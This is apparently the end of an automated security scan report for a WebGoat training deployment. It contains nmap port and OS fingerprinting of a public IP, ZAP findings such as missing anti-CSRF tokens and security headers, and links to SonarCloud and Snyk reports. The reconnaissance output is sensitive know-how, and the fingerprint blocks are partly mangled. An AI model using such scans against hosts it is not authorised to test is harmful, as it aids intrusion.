| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close

| Content-Length: 0
|_ Date: Mon, 20 Nov 2023 11:25:13 GMT
|_http-title: Site doesn't have a title.
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 20 Nov 2023 11:25:13 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-20T11:25:13.274+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 20 Nov 2023 11:25:31 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-20T11:25:31.158+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/20%Time=655B4219%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 20 Nov 2023 11:25:

SF:13 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Mon, 20\n

SF:x20Nov 2023 11:25:13 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 20\n

SF:20Nov 2023 11:25:14 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=11/20%Time=655B4219%P=x86_64-pc-linux-gnu%(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Mon, 20 Nov 2023 11:25:13\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-20T11:25:13.274+00:00\n

SF:\", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"\" }\")%(WMSRequest,42,\"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

\")%(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

\")%(SqueezeCenter_

SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

\")%(GenericLines,42,\"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

\")%

SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Mon, 20 Nov 2023 11:25

SF::31 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-20T11

SF::25:31.158+00:00\", \"status\" : 404, \"error

SF:\": \"Not Found\", \"path\" : \"/\"]}%r(RTS

SF:PreRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (85%), WatchGuard Firewall 11.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstationmanager:5.1 cpe:/o:linux:linux_kernel:4.9 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.10 (85%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%), Linux 4.9 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 3.4 (85%), Linux 4.4 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 6944.33 ms 4.213.51.131

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 340.61 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-20 11:27 UTC

Nmap scan report for 4.213.51.131

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-20 11:27 UTC

Nmap scan report for 4.213.51.131

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 727

GitHub Issue URL : [Here!](#)

- Site: <http://4.213.51.131:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
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 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 726

GitHub Issue URL : [Here!](#)

- Site: <http://4.213.51.131:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/registration>
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 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 725

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 724

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.